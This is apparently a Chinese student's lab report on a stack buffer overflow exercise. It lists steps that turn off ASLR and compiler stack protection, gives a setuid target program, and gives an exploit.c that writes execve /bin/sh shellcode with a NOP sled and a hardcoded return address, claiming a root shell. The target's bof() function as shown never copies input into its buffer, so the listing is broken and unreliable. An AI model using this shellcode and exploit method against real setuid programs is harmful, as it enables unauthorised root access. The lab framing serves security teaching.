20155332 缓冲区溢出漏洞实验

20155332 缓冲区溢出漏洞实验

  • 更新之后进行随机化初始地址分配

  • 禁止不能在这个shell中保持root权限,也就是调用shell是能够同时保存root权限。

  • 为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替 /bin/bash

  • 进入tmp目录下运行文件

  • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用

–fno-stack-protector 关闭这种机制。
-z execstack 用于允许执行栈
chmod u+s stack 需要root模式下进行
-我的代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];
return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;


memset(&buffer, 0x90, 517);


strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x94\xd0\xff\xff");
strcpy(buffer+100,shellcode);

badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
  • 进入gdb调试模式,查找首地址
    -
  • 取得shellcode在内存中的地址0xffffd030
  • 算出地址0xffffd094
  • 键入exploit.c文件中
  • 运行成功,获得root权限

练习题

  • sudo sysctl -w kernel.randomize_va_space=2 后初始化的首地址发生变化变为这个了0xfff824d0,这攻击进入的地址为0xfff82534,如果不进行地址更改而直接攻击的的话必定是失败的

    -出现了段错误
    还没有找到解决方法。
posted @ 2017-10-29 13:55  besti5332  阅读(118)  评论(0编辑  收藏  举报